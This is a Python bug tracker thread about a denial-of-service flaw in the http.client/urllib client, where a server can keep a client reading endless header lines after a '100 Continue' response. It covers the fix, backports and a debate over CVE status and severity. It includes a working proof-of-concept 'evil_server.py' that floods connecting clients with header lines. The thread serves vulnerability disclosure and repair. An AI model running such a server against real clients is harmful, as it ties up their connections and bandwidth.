if a client request a http/https/ftp service which is controlled by attacker, attacker can make this client hang forever, event client has set "timeout" argument.

maybe this client also will consume more and more memory. i does not test on this conclusion.

client.py
```
import urllib.request

req = urllib.request.Request('http://127.0.0.1:8085')
response = urllib.request.urlopen(req, timeout=1)
```

evil_server.py
```
# coding:utf-8
from socket import *
from multiprocessing import *
from time import sleep

def dealWithClient(newSocket,destAddr):
    recvData = newSocket.recv(1024)
    newSocket.send(b"""HTTP/1.1 100 OK\n""")

    while True:
        # recvData = newSocket.recv(1024)
        newSocket.send(b"""x:a\n""")

        if len(recvData)>0:
            # print('recv[%s]:%s'%(str(destAddr), recvData))
            pass
        else:
            print('[%s]close'%str(destAddr))
            sleep(10)
            print('over')
            break

    # newSocket.close()


def main():

    serSocket = socket(AF_INET, SOCK_STREAM)
    serSocket.setsockopt(SOL_SOCKET, SO_REUSEADDR  , 1)
    localAddr = ('', 8085)
    serSocket.bind(localAddr)
    serSocket.listen(5)

    try:
        while True:
            newSocket,destAddr = serSocket.accept()

            client = Process(target=dealWithClient, args=(newSocket,destAddr))
            client.start()

            newSocket.close()
    finally:
        serSocket.close()

if __name__ == '__main__':
    main()
```

Added a possible PR. Review will be appreicated.

Looks like it is caused by the httplib not limiting total header size after receiving 100. Added a counter for that to be same size as _MAXLINE=65536.

The bug: Our http client can get stuck infinitely reading len(line) < 64k lines after receiving a '100 Continue' http response.  So yes, this could lead to our client being a bandwidth sink for anyone in control of a server.

Clear issue: That's a denial of network bandwidth and the denial of service in terms of CPU needed to process read and skip such lines.  The infinite lines are size bounded and are not buffered so there is no memory based DoS.

Maybe issue: If a the underlying socket has a timeout set on it, it can be used to prevent the timeout from triggering by sending a line more often than the timeout.  this is a denial of service by making a http client connection that an author may have assumed would timeout based on their socket.setdefaulttimeout() settings hang forever.

I expect there are plenty of other ways to accomplish the latter in our http client code though.  Ex: A regular response with a huge content length where one byte is transmitted occasionally could also effectively accomplish that.  The stdlib http stack doesn't have its own overall http transaction timeout as a feature.

Thanks guangli dong (leveryd)!

This is in and the 3.10-3.6 PRs should automerge (thru 3.9) after the CI runs, or be merged by the release managers (3.6-3.8).

New changeset ea9327036680acc92d9f89eaf6f6a54d2f8d78d9 by Miss Islington (bot) in branch '3.9':
bpo-44022: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (GH-25916)
https://github.com/python/cpython/commit/ea9327036680acc92d9f89eaf6f6a54d2f8d78d9

New changeset 60ba0b68470a584103e28958d91e93a6db37ec92 by Miss Islington (bot) in branch '3.10':
bpo-44022: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (GH-25916) (GH-25931)
https://github.com/python/cpython/commit/60ba0b68470a584103e28958d91e93a6db37ec92

can you assign "cve" for this security bug?

i will review the patch later.

http.server is out of scope for CVEs. The module is not designed for security-sensitive usage and explicitly documented as insecure and not suitable for production use:

https://docs.python.org/3/library/http.server.html#module-http.server

> Warning: http.server is not recommended for production. It only implements basic security checks.

New changeset f396864ddfe914531b5856d7bf852808ebfc01ae by Miss Islington (bot) in branch '3.8':
bpo-44022: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (GH-25916) (#25933)
https://github.com/python/cpython/commit/f396864ddfe914531b5856d7bf852808ebfc01ae

@Christian Heimes 

this bug is about "urllib" client library, the key point is not "http.server" module.

New changeset f68d2d69f1da56c2aea1293ecf93ab69a6010ad7 by Miss Islington (bot) in branch '3.6':
bpo-44022: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (GH-25916) (GH-25935)
https://github.com/python/cpython/commit/f68d2d69f1da56c2aea1293ecf93ab69a6010ad7

New changeset 078b146f062d212919d0ba25e34e658a8234aa63 by Miss Islington (bot) in branch '3.7':
bpo-44022: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (GH-25916) (GH-25934)
https://github.com/python/cpython/commit/078b146f062d212919d0ba25e34e658a8234aa63

If anyone wants a CVE for it, that's up to them.  This bug is in the CPython http.client module which is what urllib uses for http/https.  I'd rate it low severity.  A malicious server can hold a http connection from this library open as a network traffic sink.  There are other ways to do that.  ex: Just use omit a content-length header in a server response and start streaming an infinite response.

The difference in this case being that since the data is thrown away, it isn't going to result in memory exhaustion and kill the unfortunate process as trying to read an infinite response would.  That's the primary DoS potential from my point of view.

@Gregory P. Smith

yes, i agree that there are many other ways to make "urllib" or "httplib" such http client hang, because "timeout" is not global read timeout, this "timeout" has effects when every "read socket" operation.

why you think it will not result in memory exhaustion?

the "hlist" list will not be more and more larger? i use "top" command to observe, and find the "client.py" process's memory is more and more larger slowly.
```
httplib.py

while True:
    ...
    line = self.fp.readline(_MAXLINE + 1)
    ...
    hlist.append(line)
```


the last, would you mind remove "100 Continue" in this bug title? i think it will maybe make others misunderstand that this bug only occur when response status code is "100".

httplib.py is a Python 2 concept.  Python 2 is end of life.  bugs.python.org no longer tracks issues with its code.  I don't doubt that Python 2.7 has bugs.  As a matter of policy, we don't care - https://www.python.org/doc/sunset-python-2/.  Python 3.6 as that is the oldest branch still open for security fixes.

The PRs associated with this issue fixed a codepath in Python 3 that only happened after a '100' response.  That codepath did not accumulate headers:

```
            if status != CONTINUE:
                break
            # skip the header from the 100 response
            while True:
                skip = self.fp.readline(_MAXLINE + 1)
                if len(skip) > _MAXLINE:
                    raise LineTooLong("header line")
                skip = skip.strip()
                if not skip:
                    break
```

CONTINUE = 100; meaning that loop only runs after receiving what appears to be a 100 continue response.  And it does not accumulate data.

There is no `hlist` in the original pre-fix Python 3.6+ code.  Nor any header accumulation caused by this the client.py talking to evil_server.py as described in this issues opening message.